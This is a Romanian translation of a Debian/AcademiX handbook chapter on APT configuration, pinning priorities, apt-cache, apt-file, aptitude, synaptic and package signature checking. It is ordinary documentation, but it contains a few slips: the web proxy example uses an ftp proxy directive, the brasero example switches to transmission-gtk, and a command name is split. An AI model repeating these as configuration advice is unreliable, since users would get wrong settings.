adăugând directive într-un fișier al directorului /etc/apt/apt.conf.d/. Amintiți-vă de exemplu, că este
posibil ca APT să-i spună lui dpkg să ignore erorile de conflict de fișiere, specificând DPkg::options
{ "--force-overwrite"; }.
Dacă Web-ul nu poate fi accesat decât printr-un proxy, adăugați o linie precum Acquire::ftp::proxy
"ftp://yourproxy:3128". Pentru un FTP proxy, scrieți Acquire::ftp::proxy
"ftp://yourproxy". Pentru a descoperi mai multe opțiuni de configurare, citiți pagina de manual
apt.conf(5) cu comanda man apt.conf (pentru detalii despre paginile manuale, consultați secțiunea
7.1.1. “Pagini de manual” pagina 126).

NOȚIUNI DE BAZĂ Directoarele cu sufixul .d sunt utilizate din ce în ce mai des. Fiecare director reprezintă un fișier de configurare
Directoare care se termină în .d care este împărțit pe mai multe fișiere. În acest sens, toate fișierele din /etc/apt/apt.conf.d/ sunt
instrucțiuni pentru configurarea APT. APT le include în ordine alfabetică, astfel încât ultimele pot modifica un
element de configurare definit într-unul din primele.
Această structură aduce o anumită flexibilitate pentru administratorul de mașini și pentru întreținătorii de
pachete. Într-adevăr, administratorul poate modifica cu ușurință configurația software-ului prin adăugarea unui
fișier gata pregătit în directorul în cauză, fără a fi nevoie să schimbe un fișier existent. Întreținătorii de pachete
utilizează aceeași abordare atunci când trebuie să adapteze configurația unui alt software pentru a se asigura că
acesta coexistă perfect cu al lor. Politica Debian interzice în mod explicit modificarea fișierelor de configurare
ale altor pachete — numai utilizatorii au voie să facă acest lucru. Amintiți-vă că în timpul unei actualizări a
pachetului, utilizatorul trebuie să aleagă versiunea fișierului de configurare care ar trebui păstrat la detectarea
unei modificări. Orice modificare externă a fișierului ar declanșa această solicitare, ceea ce ar deranja
administratorul, care este sigur că nu a schimbat nimic.

105
 Fără un director .d, este imposibil pentru un pachet extern să modifice setările unui program fără a modifica
fișierul de configurare. În schimb, trebuie să invite utilizatorul să o facă singur și listează operațiunile care
trebuie efectuate în fișierul /usr/share/doc/package/README.Debian.
În funcție de aplicație, directorul .d este utilizat direct sau gestionat de un script extern care va concatena toate
fișierele pentru a crea fișierul de configurare în sine. Este important să executați scriptul după orice modificare a
acelui director, astfel încât cele mai recente modificări să fie luate în considerare. În același mod, este important
să nu lucrați direct în fișierul de configurare creat automat, deoarece totul s-ar pierde la următoarea execuție a
scriptului. Metoda aleasă (director .d folosit direct sau un fișier generat din acel director) este de obicei dictată
de constrângerile de implementare dar, în ambele cazuri, câștigurile (în flexibilitatea configurației) compensează
mai mult decât micile complicațiile implicate. Exim 4 mail server este un exemplu al metodei de fișiere
generate: poate fi configurat prin mai multe fișiere (/etc/exim4/conf.d/*) care sunt concatenate în
/var/lib/exim4/config.autogenerated prin comanda update -exim4.conf.

6.2.5. Gestionarea priorității pachetelor

Unul dintre cele mai importante aspecte în configurația APT este gestionarea priorităților asociate cu fiecare
sursă de pachet. De exemplu, s-ar putea să doriți să extindeți o distribuție cu unul sau două pachete mai noi
din Testare, Instabilă sau Experimentală. Este posibil să atribuiți o prioritate fiecărui pachet disponibil (același
pachet poate avea mai multe priorități în funcție de versiunea sa sau de distribuția care îl furnizează). Aceste
priorități vor influența comportamentul APT: pentru fiecare pachet, va selecta întotdeauna versiunea cu cea
mai mare prioritate (cu excepția cazului în care această versiune este mai veche decât cea instalată și dacă
prioritatea sa este mai mică de 1000).
APT definește mai multe priorități implicite. Fiecare versiune de pachet instalată are o prioritate de 100. În
mod implicit, o versiune neinstalată are prioritate de 500 dar poate să sară la 990 dacă face parte din
lansarea țintă (definită cu opțiunea -t în linia de comandă sau directiva de configurare APT::Default-
Release).
Puteți modifica prioritățile adăugând intrări în fișierul /etc/apt/preferences.d/, sau
/etc/apt/preferences cu numele pachetelor afectate, versiunea lor, originea și noua lor prioritate.
APT nu va instala niciodată o versiune mai veche a unui pachet (adică un pachet al cărui număr de versiune
este mai mic decât cel al pachetului instalat în prezent) cu excepția cazului în care prioritatea sa este mai
mare de 1000 (sau cerut explicit de utilizator, vedeți secțiunea 6.2.2. “Instalarea și eliminarea” pagina 103). APT va
instala întotdeauna pachetul cu prioritate cea mai înaltă, care urmează acestă constrângere. Dacă două
pachete au aceeași prioritate, APT îl instalează pe cel mai nou (al cărui număr de versiune este cel mai
mare). Dacă două pachete ale aceleiași versiuni au aceeași prioritate, dar diferă în conținutul lor, APT
instalează versiunea care nu este instalată (această regulă a fost creată pentru a acoperi cazul unei
actualizări de pachete fără creșterea numărului de revizuire, care este de obicei necesar).
În termeni mai concreți, un pachet a cărui prioritate este
<0 nu va fi instalat niciodată,
1..99 va fi instalat numai dacă nu este instalată o altă versiune a pachetului,
100..499 va fi instalat numai dacă nu există o altă versiune mai nouă instalată sau disponibilă în altă
distribuție,
500....989 va fi instalat numai dacă nu există o versiune mai nouă instalată sau disponibilă în distribuția
țintă,
990..1000 va fi instalat, cu excepția cazului în care versiunea instalată este mai nouă,
> 1000 va conduce întotdeauna la instalarea pachetului, chiar dacă forțează APT să treacă la o versiune
mai veche.
Când APT verifică /etc/apt/preferences și /etc/apt/preferences.d, mai întâi se ține cont de
cele mai specifice intrări (adesea cele care specifică pachetul în cauză), apoi de cele mai generice (inclusiv,
de exemplu, toate pachetele unei distribuții). Dacă există mai multe intrări generice, se utilizează prima
potrivire. Criteriile de selecție disponibile includ numele pachetului și sursa care îl furnizează. Fiecare sursă
de pachet este identificată de informațiile conținute într-un fișier Lansare pe care APT îl descarcă împreună
cu fișierele Packages. Specifică originea (de obicei “Debian” pentru pachetele din oglinzile oficiale, dar poate
fi și numele unei persoane sau al unei organizații pentru depozitele terțe). De asemenea, se numește
distribuția (de obicei Stable, Testing, Unstable sau Experimental pentru distribuțiile standard furnizate de
Debian) împreună cu versiunea sa (de exemplu 10 pentru Debian Buster). Să aruncăm o privire asupra
sintaxei sale prin câteva studii de caz realiste ale acestui mecanism.

106
 CAZ PARTICULAR Dacă ați enumerat Experimental în fișierul dvs. sources.list, pachetele corespunzătoare nu vor fi aproape
Prioritatea lui experimental niciodată instalate, deoarece prioritatea lor APT implicită este 1. Aceasta este desigur un caz specific, menit să
împiedice utilizatorii să instaleze, din greșeală, pachete din Experimental. Pachetele pot fi instalate numai
tastând aptitude install package/experimental — utilizatorii care introduc această comandă pot
fi conștienți de riscurile pe care și le asumă. Este încă posibilă tratarea pachetelor (deși nu e recomandat) din
Experimental precum cele ale altor distribuții, acordându-le o prioritate de 500. Aceasta este realizat cu o intrare
specifică în /etc/apt/preferences.
Package: *
Pin: release a=experimental
Pin-Priority: 500

Să presupunem că doriți doar să utilizați pachete din versiunea stabilă Debian. Cele furnizate în alte versiuni
nu trebuie instalate decât dacă sunt solicitate în mod explicit. Puteți scrie următoarele intrări în fișierul /etc/
apt/preferences:

Package: *
Pin: release a=stable
Pin-Priority: 900

Package: *
Pin: release o=Debian
Pin-Priority: -10

a=stable definește numele distribuției selectate. o=Debian limitează domeniul de aplicare la pachetele a
căror origine este “Debian”.
Să presupunem acum că aveți un server cu mai multe programe locale, depinzând de Perl versiunea 5.24 și că
doriți să vă asigurați că actualizările nu vor instala o altă versiune a acestuia. Puteți utiliza această intrare:

Package: perl
Pin: version 5.24*
Pin-Priority: 1001

Pentru a obține o mai bună înțelegere a mecanismelor de prioritate și distribuție sau proprietăți de depozitare
de fixat, nu ezitați să executați apt-cache policy pentru a afișa prioritatea implicită asociată cu fiecare
sursă de pachet sau apt-cache policy package pentru a afișa prioritatea implicită pentru fiecare
versiunea disponibilă și sursa unui pachet așa cum se explică în bara laterală “apt-cache policy” pagina
107.
Documentația de referință pentru fișierele /etc/apt/preferences și /etc/apt/preferences.d este
disponibilă în pagina de manual apt_preferences (5), pe care o puteți afișa cu man apt_preferences.

SFAT Nu există o sintaxă oficială pentru a pune comentarii în fișierul /etc/apt/preferences, dar unele
Comentarii în descrieri textuale pot fi furnizate prin introducerea unuia sau a mai multor câmpuri “Explanation” la
/etc/apt/preferences începutul fiecărei intrări:
Explanation: The package xserver-xorg-video-intel provided
Explanation: in experimental can be used safely
Package: xserver-xorg-video-intel
Pin: release a=experimental
Pin-Priority: 500

6.2.6. Lucrul cu mai multe distribuții

Instrumentul apt fiind unul atât de minunat, este tentant să alegeți pachete care provin din alte distribuții. De
exemplu, după ce ați instalat un sistem Stable, poate doriți să încercați un pachet software disponibil în Testing
sau Unstable fără a se îndepărta prea mult de starea inițială a sistemului.
Chiar dacă ocazional veți întâmpina probleme în timp ce amestecați pachete din diferite distribuții, apt
gestionează foarte bine această coexistență și limitează foarte eficient riscurile. Cel mai bun mod de a
proceda este să enumerați toate distribuțiile utilizate în /etc/apt/sources.list (unii pun întotdeauna
cele trei distribuții, dar nu uitați că Unstable este rezervat utilizatorilor cu experiență) și pentru a defini
distribuția dvs. de referință cu parametrul APT::Default-Release (consultați secțiunea 6.2.3. “System
upgrade” pagina 105).
Să presupunem că Stable este distribuția dvs. de referință, dar Testing și Unstable sunt de asemenea listate în
fișierul dvs. În acest caz puteți utiliza apt install package/testing pentru a instala un pachet din

107
Testing. Dacă instalarea nu reușește din cauza unor dependențe nesatisfăcătoare, lăsați-o să rezolve aceste
dependențe din Testing prin adăugarea parametrului testing -t. Același lucru se aplică în mod evident și
la Unstable.
În această situație, actualizările (upgrade și actualizare completă full-upgrade) se fac în cadrul Stable,
cu excepția pachetelor deja actualizate la o altă distribuție: acestea vor urma actualizările disponibile în
celelalte distribuții. Vom explica acest comportament cu ajutorul priorităților implicite stabilite de APT mai jos.
Nu ezitați să utilizați apt-cache policy (consultați bara laterală “apt-cache policy” pagina 108) pentru a
verifica prioritățile date.
Totul se concentrează pe faptul că APT consideră doar pachete cu o versiune mai mare sau egală decât
cea instalată (presupunând că /etc/apt/preferences nu a fost folosit pentru a forța priorități mai mari
de 1000 pentru unele pachete).
Să presupunem că ați instalat versiunea 1 a unui prim pachet din Stable și că versiunea 2 și 3 sunt
disponibile respectiv în Testing și Unstable. Versiunea instalată are prioritate 100, dar versiunea disponibilă în
Stable (la fel) are o prioritate 990 (deoarece face parte din lansarea țintă). Pachetele din Testing și Unstable au
o prioritate 500 (prioritatea implicită a unei versiuni neinstalate). Câștigătorul este astfel versiunea 1 cu o
prioritate 990. Pachetul “rămâne în Stable”.
Să luăm exemplul unui alt pachet din a cărui versiune 2 a fost instalată din Testing. Versiunea 1 este
disponibilă în Stable și versiunea 3 în Unstable. Versiunea 1 (cu prioritate 990 — deci mai mică de 1000) este
înlăturată, deoarece este mai mică decât versiunea instalată. Aceasta lasă doar versiunile 2 și 3, ambele cu
prioritate 500. Față de această alternativă, APT selectează cea mai nouă versiune, cea din Unstable. Dacă nu
doriți un pachet instalat din Testing pentru a migra spre Unstable, trebuie să alocați o prioritate mai mică de
500 (de exemplu, 490) pachetelor provenite de la Unstable. Puteți modifica /etc/apt/preferences în
acest scop:

Package: *
Pin: release a=unstable
Pin-Priority: 490

6.2.7. Urmărirea pachetelor instalate automat

Una dintre funcționalitățile esențiale ale apt este urmărirea pachetelor instalate doar prin dependențe.
Aceste pachete se numesc “automate” și adesea includ biblioteci, de exemplu.
Cu aceste informații, când pachetele sunt eliminate, managerii de pachete pot calcula o listă de pachete
automate care nu mai sunt necesare (deoarece nu există pachete “instalate manual” în funcție de acestea).
apt-get autoremove sau apt autoremove va scăpa de aceste pachete. aptitude nu are această
comandă: prima, deoarece le elimină automat imediat ce sunt identificate. În toate cazurile, instrumentele
afișează un mesaj clar care listează pachetele afectate.
Este un obicei bun să marchezi ca automat orice pachet de care nu ai nevoie direct, astfel încât să fie
eliminate automat atunci când nu mai sunt necesare. apt-mark auto package va marca pachetul dat ca
fiind automat, în timp ce apt-mark manual package face opusul. aptitude markauto și aptitude
unmarkauto funcționează în același mod, deși oferă mai multe caracteristici pentru marcarea multor
pachete simultan (a se vedea secțiunea 6.4.1. “aptitude” pagina 111). Cu interfața interactivă bazată pe consolă
cu aptitude de asemenea, revizuiți mai ușor “steagul automat” pe mai multe pachete.
Poate doriți să știți de ce un pachet instalat automat este prezent în sistem. Pentru a obține aceste informații
din linia de comandă, puteți utiliza aptitude why package (apt și apt-get nu au o caracteristică
similară):

$ aptitude why python-debian

i aptitude Recommends apt-xapian-index
i A apt-xapian-index Depends python-debian (>= 0.1.15)

ALTERNATIVĂ În vremea în care apt, apt-get și aptitude nu puteau urmări automat pachetele, erau două utilitare care
deborphan și debfoster produceau liste de pachete care nu sunt necesare: deborphan și debfoster. Ambele pot fi încă utile.
deborphan este cel mai rudimentar dintre ambele. Pur și simplu scanează secțiunile libs și oldlibs (în
absența instrucțiunilor suplimentare) în căutarea pachetelor care sunt instalate în prezent și de care nu depinde
niciun alt pachet. Lista rezultată poate servi apoi ca bază pentru a elimina pachetele inutile.
debfoster are o abordare mai elaborată, foarte asemănătoare cu cea a APT: menține o listă de pachete care au
fost instalate explicit și își amintește ce pachete sunt cu adevărat necesare între fiecare invocare.

108
 Dacă pe sistem apar noi pachete și dacă debfoster nu le cunoaște ca pachete necesare, acestea vor fi afișate
pe ecran împreună cu o listă a dependențelor lor. Programul oferă apoi o alegere: eliminați pachetul (eventual
împreună cu cele care depind de el), marcați-l așa cum este necesar explicit sau ignorați-l temporar.

6.3. Comanda apt-cache

Comanda apt-cache poate afișa o mare parte din informațiile stocate în baza de date internă a APT.
Aceste informații sunt un fel de cache, deoarece sunt colectate din diferite surse listate în fișierul
sources.list. Acest lucru se întâmplă în timpul operației apt update.

VOCABULAR Un “cache“ este un sistem de stocare temporară utilizat pentru a accelera accesul frecvent la date atunci când
Cache metoda de acces obișnuită este costisitoare (raportată la performantă). Acest concept poate fi aplicat în
numeroase situații și la diferite scări, de la miezul microprocesoarelor până la sisteme de stocare de top.
În cazul APT, fișierele de referință Packages sunt cele localizate pe oglinzile Debian. Acestea fiind spuse, ar fi
foarte ineficient să parcurgem rețeaua pentru fiecare căutare pe care am putea dori să o facem în baza de date a
pachetelor disponibile. Acesta este motivul pentru care APT stochează o copie a acestor fișiere (în /var/lib/
apt/lists/) și căutările se fac în acele fișiere locale. În mod similar, /var/cache/apt/archives/
conține o memorie cache de pachete deja descărcate pentru a evita să le descarcați din nou, dacă trebuie să le
reinstalați după o eliminare.
Pe de altă parte, este obligatoriu să rulați apt update în mod regulat pentru a actualiza memoria cache. În
caz contrar, rezultatele căutării pachetelor dvs. vor pierde întotdeauna cele mai recente actualizări distribuite de
oglinzile Debian.

Comanda apt-cache poate face căutări de pachete bazate pe cuvinte cheie cu apt-cache search
keyword. De asemenea, poate afișa anteturile versiunilor disponibile ale pachetului cu apt-cache show
package. Această comandă oferă descrierea pachetului, dependențele sale, numele întreținătorului său,
etc. Rețineți că apt search, apt show, aptitude search, aptitude show funcționează în același
mod.

ALTERNATIVĂ apt-cache search este un instrument foarte rudimentar, practic implementând grep în descrierile
axi-cache pachetului. Adesea returnează prea multe rezultate sau deloc atunci când includeți prea multe cuvinte cheie.
axi-cache term, pe de altă parte, oferă rezultate mai bune, sortate după relevanță. Utilizează motorul de
căutare Xapian și face parte din pachetul apt-xapian-index care indexează toate informațiile despre pachete (și
altele, cum ar fi fișiere .desktop din toate pachetele Debian). Cunoaște etichete (vezi bara laterală “Câmpul
Tag” pagina 81) și returnează rezultatele într-o chestiune de milisecunde.
$ axi-cache search package use::searching
100 results found.
Results 1-20:
100% packagesearch - GUI for searching packages and viewing
⮩ package information
99% apt-utils - package management related utility programs
98% whohas - query multiple distributions' package archives
98% dpkg-awk - Gawk script to parse /var/lib/dpkg/{status,
⮩ available} and Packages
97% apt-file - search for files within Debian packages (
⮩ command-line interface)
[..]
90% wajig - unified package management front-end for Debian
More terms: debtags debian paket dpkg search pakete tools
More tags: role::program interface::commandline works-with
⮩ ::software:package suite::debian admin::package-
⮩ management scope::utility network::client
`axi-cache more' will give more results

Unele caracteristici sunt mai rar utilizate. De exemplu, apt-cache policy afișează prioritățile surselor de
pachete, precum și cele ale pachetelor individuale. Un alt exemplu este apt-cache dumpavail care
afișează anteturile tuturor versiunilor disponibile ale tuturor pachetelor. apt-cache pkgnames afișează
lista tuturor pachetelor care apar cel puțin o dată în cache.

SFAT Comanda apt-cache policy afișează prioritățile de fixare și proprietățile de distribuție ale fiecărei surse de
apt-cache policy pachet, așa cum se explică în secțiunea 6.2.5. “Gestionarea priorității pachetelor” pagina 106.

109
 De asemenea, poate afișa prioritățile de fixare pentru toate versiunile disponibile și sursele unui pachet. Pentru
exemplul sources.list utilizat în exemplul 6.2 “Fișier /etc/apt/sources.list pentru utilizatorii de Debian
Testing/Stable” pagina 100 și APT::Default-Release setat la “buster”, ieșirea va arăta astfel:
$ apt-cache policy
Package files:
100 /var/lib/dpkg/status
release a=now
100 https://deb.debian.org/debian buster-backports/contrib amd64 Packages
release o=Debian Backports,a=buster-backports,n=buster-
backports,l=Debian Backports,c=contrib,b=amd64
origin deb.debian.org
100 https://deb.debian.org/debian buster-backports/main amd64 Packages
release o=Debian Backports,a=buster-backports,n=buster-
backports,l=Debian Backports,c=main,b=amd64
origin deb.debian.org
990 https://deb.debian.org/debian buster/non-free amd64 Packages
release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=non-free,b=amd64
origin deb.debian.org
990 https://deb.debian.org/debian buster/contrib amd64 Packages
release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=contrib,b=amd64
origin deb.debian.org
990 https://deb.debian.org/debian buster/main amd64 Packages
release v=10.0,o=Debian,a=stable,n=buster,l=Debian,c=main,b=amd64
origin deb.debian.org
990 http://security.debian.org buster/updates/main amd64 Packages
release v=10,o=Debian,a=stable,n=buster,l=Debian-
Security,c=main,b=amd64
origin security.debian.org
apt-cache policy poate afișa, de asemenea, prioritățile de fixare pentru toate versiunile disponibile și
sursele unui anumit pachet.
$ apt-cache policy iptables
iptables:
Installed: 1.8.2-4
Candidate: 1.8.2-4
Version table:
1.8.3-2~bpo10+1 100
100 https://deb.debian.org/debian buster-backports/main amd64
Packages
*** 1.8.2-4 990
990 https://deb.debian.org/debian buster/main amd64 Packages
100 /var/lib/dpkg/status
Deși există o versiune mai nouă de iptables în depozitul buster-backports, APT nu îl va instala automat
pe baza priorității. Ar trebui să utilizați apt install iptables/buster-backports, sau să adăugați
o prioritate de fixare mai mare la /etc/apt/preferences.d/iptables:
Package: iptables
Pin: release o=Debian Backports, a=buster-backports
Pin-Priority: 1001

6.4. Comanda apt-file

Uneori ne referim la un fișier sau la o comandă și s-ar putea să vă întrebați în ce pachet va fi găsit. Din
fericire, depozitele Debian nu conțin doar informații despre toate pachetele binare furnizate, ci și toate
fișierele livrate împreună cu acestea. Aceste informații sunt stocate în fișiere numite Contents-arch.gz și
Contents-udeb-arch.gz. Aceste informații nu sunt descărcate automat de APT. În schimb, are nevoie de
comanda apt-file update (din pachetul similar denumit) pentru a prelua conținutul tuturor surselor
pachetelor menționate în /etc/apt/sources.list. Pentru a actualiza baza de date săptămânal,
următoarea intrare poate fi adăugată la /etc/crontab, dacă este convenabil.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

După actualizarea bazei de date, comand apt-file search pattern va lista toate pachetele care
conțin un nume de fișier sau o cale care conține modelul.

$ apt-file search bin/axi-cache

apt-xapian-index: /usr/bin/axi-cache

110
Comanda apt-file list package va lista în schimb toate fișierele livrate împreună cu pachetul.

SFAT Similar cu apt-file list comanda dpkg -L pachet listează toate fișierele, dar numai pentru un pachet
Listarea conținutului unui instalat. Pentru a găsi pachetul, aparține un fișier local, utilizați dpkg -S file (consultați secțiunea
pachet și găsirea pachetului 5.4.3. “Interogarea bazei de date a dpkg și inspectarea fișierelor .deb” pagina 88. Pentru a lista toate fișierele
unui fișier locale care nu aparțin niciunui pachet instalat, vă recomandăm să aruncați o privire la pachetul cruft sau cruft-ng.

6.5. Interfețe grafice:aptitude, synaptic

APT este un program C++ al cărui cod rezidă în principal în bibliotecă partajată libapt-pkg. Utilizarea unei
biblioteci partajate facilitează crearea de interfețe de utilizator (front-end, fronton), deoarece codul conținut în
bibliotecă poate fi reutilizat cu ușurință. Din punct de vedere istoric, apt-get a fost conceput doar ca test
front-end pentru libapt-pkg, dar succesul său tinde să facă necunoscut acest fapt.

6.5.1. aptitude
aptitude este un program interactiv care poate fi utilizat în modul semi-grafic pe consolă. Puteți răsfoi lista
pachetelor instalate și disponibile, să căutați toate informațiile disponibile și selectați pachetele de instalat
sau eliminate. Programul este conceput special pentru a fi utilizat de către administratori, astfel încât
comportamentele sale implicite sunt mult mai inteligente decât apt-get, iar interfața sa este mult mai ușor
de înțeles.

Figura 6.1 Managerul de pachete aptitude

Când pornește, aptitude arată o listă de pachete sortate după starea (instalate, neinstalate sau instalate,
dar nu sunt disponibile pe oglinzi — alte secțiuni afișează activități, pachete virtuale și pachete noi apărute
recent pe oglinzi). Pentru a facilita navigarea tematică, sunt disponibile alte vizualizări. În toate cazurile,
aptitude afișează pe ecran o listă care combină categorii și pachete. Categoriile sunt organizate printr-o
structură de arbore, ale cărei ramuri pot fi, respectiv, desfăcute sau închise cu tastele Enter, [ și ]. + ar
trebui utilizate pentru a marca un pachet pentru instalare, - pentru a-l marca pentru eliminare și _ pentru a-l
marca pentru purjare (rețineți că aceste taste pot fi utilizate și pentru categorii, caz în care acțiunile
corespunzătoare se vor aplica tuturor pachetelor din categorie). u actualizează listele de pachete disponibile
și Shift+u pregătește o actualizare globală a sistemului. g trece la o vedere sumară a modificărilor
solicitate (iar tastarea g va aplica din nou modificările) și q renunță la vizualizarea curentă. Dacă vă aflați în
vizualizarea inițială, aceasta va închide efectiv aptitude.

DOCUMENTAȚIE Această secțiune nu acoperă detaliile mai fine ale utilizării comenzii aptitude, ci se concentrează mai
aptitude degrabă pe oferirea unui kit de supraviețuire pentru a o utiliza. aptitude este destul de bine documentat și vă
recomandăm să folosiți manualul complet disponibil în pachetul aptitude-doc-en
(consultați /usr/share/doc/aptitude/html/en/index.html) sau la
https://www.debian.org/doc/manuals/aptitude/.

111
Pentru a căuta un pachet, puteți introduce / urmată de un model de căutare. Acest model se potrivește cu
numele pachetului, dar poate fi aplicat și la descriere (dacă este precedat de ~d), la secțiune (cu ~s) sau la
alte caracteristici detaliate în documentație. Aceleași tipare pot filtra lista de pachete afișate: tastați l (ca în
limit) și introduceți modelul.
Gestionarea “automatic flag” al pachetelor Debian (a se vedea secțiunea 6.2.7. “Urmărirea pachetelor instalate
automat” pagina 108) este ușoară cu aptitude. Este posibil să răsfoiți lista pachetelor instalate și să marcați
pachetele ca fiind automate cu Shift+m , sau pentru a elimina marcați cu tasta m. “Pachetele automate” sunt
afișate cu “A” în lista de pachete. Această caracteristică oferă, de asemenea, un mod simplu de a vizualiza
pachetele utilizate într-o mașină, fără toate bibliotecile și dependențele de care nu vă interesează. Modelul
aferent care poate fi utilizat cu l (pentru activarea modului de filtrare) este ~i!~M. Specifică faptul că doriți
să vedeți doar pachetele instalate (~i) care nu sunt marcate ca automate (!~M).

INSTRUMENT Majoritatea caracteristicilor aptitude sunt accesibile prin interfața interactivă, precum și prin liniile de
Utilizarea lui aptitude în comandă. Aceste linii de comandă vor părea cunoscute pentru utilizatorii obișnuiți de apt-get și apt-
interfața liniei de comandă cache.
Funcțiile avansate ale comenzii aptitude sunt de asemenea disponibile pe linia de comandă. Puteți utiliza
aceleași modele de căutare a pachetelor ca în versiunea interactivă. De exemplu, dacă doriți să curățați lista de
pachete “instalate manual” și dacă știți că niciunul dintre programele instalate local nu necesită biblioteci
particulare sau module Perl, puteți marca pachetele corespunzătoare ca automate cu o singură comandă:
# aptitude markauto '~slibs|~sperl'
Aici puteți vedea clar puterea sistemului de căutare de aptitude , care permite selectarea instantanee a tuturor
pachetelor din secțiunile libs și perl.
Atenție, dacă unele pachete sunt marcate ca automate și dacă nu depinde niciun alt pachet de ele, acestea vor fi
eliminate imediat (după o solicitare de confirmare).

6.5.1.1. Gestionarea recomandărilor, sugestiilor și sarcinilor

O altă caracteristică interesantă a aptitude este faptul că respectă recomandările între pachete, oferind în
același timp utilizatorilor posibilitatea de a nu le instala de la caz la caz. De exemplu, pachetul gnome
recomandă brasero (printre altele). Când îl selectați pe primul pentru instalare, cel de-al doilea va fi, de
asemenea, selectat (și marcat ca automat dacă nu este deja instalat pe sistem). Tastând g, va evidenția:
transmission-gtk apare pe ecranul sumar al acțiunilor pendinte din lista de pachete instalate automat pentru a
satisface dependențele. Cu toate acestea, puteți decide să nu îl instalați deselectându-l înainte de a confirma
operațiunile.
Rețineți că această caracteristică de urmărire a recomandărilor nu se aplică actualizărilor. De exemplu, dacă
o nouă versiune a gnome recomandă un pachet pe care nu l-a recomandat anterior, pachetul nu va fi marcat
pentru instalare. Cu toate acestea, acesta va fi listat pe ecranul de actualizare, astfel încât administratorul îl
poate selecta în continuare pentru instalare.
Sugestiile dintre pachete sunt, de asemenea, luate în considerare, dar într-o manieră adaptată la starea lor
specifică. De exemplu, din moment ce gnome sugerează empathy, acesta din urmă va fi afișat pe ecranul
sumar al acțiunilor pendinte (în secțiunea de pachete sugerate de alte pachete). În acest fel, este vizibil și
administratorul poate decide dacă va lua în considerare sau nu sugestia. Întrucât este doar o sugestie și nu o
dependență sau o recomandare, pachetul nu va fi selectat automat — selecția acestuia necesită o intervenție
manuală din partea utilizatorului (astfel, pachetul nu va fi marcat ca automat).
În același spirit, amintiți-vă că aptitude folosește inteligent conceptul sarcinii. Deoarece sarcinile sunt
afișate bunăoară și luate de categorii în ecranele listelor de pachete, puteți selecta o sarcină completă pentru
instalare sau eliminare, sau puteți parcurge lista de pachete incluse în sarcină pentru a selecta un subset
mai mic.

6.5.1.2. Algoritmi pentru o rezolvare mai bună

Pentru a încheia această secțiune, să notăm că aptitude are algoritmi mai elaborați comparativ cu apt-
get când vine vorba de soluționarea situațiilor dificile. Când se solicită un set de acțiuni și când aceste
acțiuni combinate ar conduce la un sistem incoerent, aptitude evaluează mai multe scenarii posibile și le
prezintă în ordinea scăderii relevanței. Cu toate acestea, acești algoritmi nu sunt impermeabili. Din fericire
există întotdeauna posibilitatea de a selecta manual acțiunile de efectuat. Atunci când acțiunile selectate în
prezent conduc la contradicții, partea superioară a ecranului indică o serie de pachete “sparte” (și puteți

112
naviga direct la aceste pachete apăsând b). Este apoi posibil să construiți manual o soluție pentru
problemele găsite. În special, puteți avea acces la diferitele versiuni disponibile prin simpla selectare a
pachetului cu Enter. Dacă selectarea uneia dintre aceste versiuni rezolvă problema, nu trebuie să ezitați să
utilizați funcția. Când numărul de pachete stricate scade la zero, puteți merge cu siguranță la ecranul sumar
al acțiunilor pendinte pentru o ultimă verificare înainte de a le aplica.

REȚINEȚI La fel ca dpkg, aptitude păstrează o urmă a acțiunilor executate în fișierul său de jurnal
Jurnalul comenzii aptitude (/var/log/aptitude). Cu toate acestea, având în vedere că ambele comenzi funcționează la un nivel foarte
diferit, nu puteți găsi aceleași informații în fișierele lor de date respective. În timp ce dpkg înregistrează pas cu
pas toate operațiile executate pe pachete individuale, aptitude oferă o vedere mai largă a operațiunilor la
nivel înalt, precum o actualizare la nivel de sistem.
Atenție, acest fișier jurnal conține doar un rezumat al operațiilor efectuate de aptitude. Dacă se folosesc
ocazional alte front-end-uri (sau chiar dpkg), atunci jurnalul aptitude va conține doar o vedere parțială a
operațiilor, deci nu vă puteți baza pe ea pentru a construi o istorie de încredere a sistemului.

6.5.2. synaptic
synaptic este un manager de pachete grafice pentru Debian care are o interfață grafică curată și eficientă
bazată pe GTK+/GNOME. Numeroasele sale filtre gata de utilizare oferă acces rapid la pachetele nou
disponibile, pachetele instalate, pachetele actualizate, pachetele învechite și așa mai departe. Dacă răsfoiți
aceste liste, puteți selecta operațiunile care trebuie efectuate pe pachete (instalați, actualizați, eliminați,
curățați); aceste operațiuni nu sunt efectuate imediat, ci introduse într-o listă de sarcini. Un singur clic pe un
buton apoi validează operațiunile, iar acestea sunt efectuate dintr-o singură dată.

Figura 6.2 Managerul de pachete synaptic

6.6. Verificarea autenticității pachetului

Securitatea ar trebui să fie foarte importantă pentru administratorii de sisteme AcademiX. În consecință, ei
trebuie să se asigure că instalează doar pachete care sunt garantate ca provenind de la Debian, nealterate.
Un cracker (spărgător, hoț de informații implementate în calculatoare) ar putea încerca să adauge cod rău
intenționat la un pachet, altfel legitim. Un astfel de pachet, dacă este instalat, ar putea face orice ar fi
proiectat de către spărgător, inclusiv dezvăluirea de parole sau informații confidențiale. Pentru a evita acest
risc, Debian furnizează un sigiliu rezistent la modificări pentru a garanta — la momentul instalării — faptul că
un pachet provine cu adevărat de la întreținătorul său oficial și nu a fost modificat de un terț.
Sigiliul funcționează cu un lanț de hash-uri criptografice și o semnătură. Fișierul semnat este fișierul
InRelease, furnizat de oglinzile Debian. Conține o listă a fișierelor Packages (inclusiv formele comprimate,
Packages.gz și Packages.xz și versiunile incrementale), de-a lungul cu hașurile lor MD5, SHA1 și

113
SHA256, care asigură că fișierele nu au fost modificate. Aceste fișiere Packages conțin o listă de pachete
Debian disponibile pe oglindă, împreună cu hash-urile lor, care asigură, la rândul său, că conținutul
pachetelor în sine nu a fost modificat. Diferența dintre InRelease și Release este că primul este semnat
criptografic în linie, în timp ce acesta din urmă oferă o semnătură detașată sub forma fișierului
Release.gpg.

REȚINEȚI Probabil odată cu lansarea Debian 11 Bullseye, APT va elimina suportul pentru fișierele vechi Release și
Viitorul Release și Release.gpg, utilizate de la APT 0.6, care a introdus suport pentru autentificarea arhivei.
Release.gpg

APT are nevoie de un set de chei publice GnuPG de încredere pentru a verifica semnăturile din fișierele
InRelease și Release.gpg disponibile pe oglinzi. Le obține din fișierele /etc/apt/trusted.gpg.d) și
/etc/apt/trusted.gpg keyring (gestionat de comanda apt-key). Cheile oficiale Debian sunt
